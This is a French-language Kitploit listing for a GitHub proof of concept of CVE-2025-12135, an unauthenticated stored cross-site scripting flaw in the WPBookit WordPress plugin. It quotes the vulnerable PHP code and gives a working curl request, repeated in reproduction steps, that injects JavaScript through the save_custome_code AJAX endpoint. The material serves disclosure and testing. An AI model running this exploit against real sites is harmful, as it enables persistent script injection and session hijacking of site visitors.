Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-12135 — WPBookit <= 1.0.6 - Cross-Site Scripting stocké non authentifié | Kitploit
Outils/GitHubGitHub/d0n601/cve-2025-12135
Analyse Statique de Code (SAST)Analyse des VulnérabilitésAnalyse de CodeExploitation d'Applications WebAuthentificationMauvaise Configuration
GitHubd0n601/cve-2025-12135

CVE-2025-12135

WPBookit <= 1.0.6 - Cross-Site Scripting stocké non authentifié

Voir le dépôt
4il y a 10 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

WPBookit <= 1.0.6 - Cross-Site Scripting stocké non authentifié

Le plugin WPBookit ne vérifie pas les permissions utilisateur et ne nettoie pas le code CSS/JS personnalisé dans son point de terminaison AJAX save_custome_code, permettant à des attaquants non authentifiés d'injecter du JavaScript arbitraire qui s'exécute à chaque chargement de page, conduisant à une XSS stockée et à un détournement potentiel de session.

TL;DR des exploits

root@kitploit:~
# Basic XSS injection
curl -X POST "http://localhost:1337/wp-admin/admin-ajax.php?action=wpb_ajax_post&route_name=save_custome_code" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "css_code=/* malicious */&js_code=alert('XSS');"

Détails

La vulnérabilité existe dans la méthode save_custome_code de la classe WPB_Setting_Controller. Le plugin enregistre des points de terminaison AJAX pour les utilisateurs non authentifiés, permettant à tout visiteur d'injecter du code CSS/JS arbitraire qui est exécuté à chaque chargement de page.

Code vulnérable depuis /core/admin/classes/controllers/class.wpb-setting-controller.php:16-25:

root@kitploit:~
public function save_custome_code(WP_REST_Request $request){
    $css_code= $request->get_param('css_code');
    $js_code= $request->get_param('js_code');
    update_option( 'wpb_custom_code_data', [  'css_code' => $css_code,  'js_code' => $js_code ]);
}

Exécution du code depuis /core/shortcodes/class-wpbookit-shortcode-abstract.php:20-27:

root@kitploit:~
$wpb_custom_code= get_option( 'wpb_custom_code_data', [  'css_code' => '',  'js_code' => '' ]);

wp_add_inline_style( 'wpb-custom-code-css', stripslashes($wpb_custom_code['css_code']));
wp_add_inline_script( 'wpb-custom-code-js', stripslashes($wpb_custom_code['js_code']) );

Accès non authentifié depuis /core/admin/classes/class.wpb-admin-routes-handler.php:15-16:

root@kitploit:~
add_action( "wp_ajax_wpb_ajax_post", [ $this, 'wpb_ajax_post' ] );
add_action( "wp_ajax_nopriv_wpb_ajax_post", [ $this, 'wpb_ajax_post' ] );

Configuration de la route depuis /core/admin/classes/class.wpb-admin-routes.php:118-123:

root@kitploit:~
'save_custome_code' => [
    'method' => 'post',
    'action' => 'WPB_Setting_Controller@save_custome_code',
    'nonce' => 0,
    'module' => 'setting-controller'
],

Reproduction manuelle

  1. Identifier la cible avec le plugin WPBookit installé
  2. Injecter du JavaScript malveillant :
root@kitploit:~
curl -X POST "http://localhost:1337/wp-admin/admin-ajax.php?action=wpb_ajax_post&route_name=save_custome_code" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "css_code=/* malicious */&js_code=alert('XSS');"
  1. Vérifier l'injection en visitant n'importe quelle page du site - l'alerte s'exécutera
  2. Vérifier la persistance - le code malveillant est stocké dans la base de données et s'exécute à chaque chargement de page
Télécharger l’outil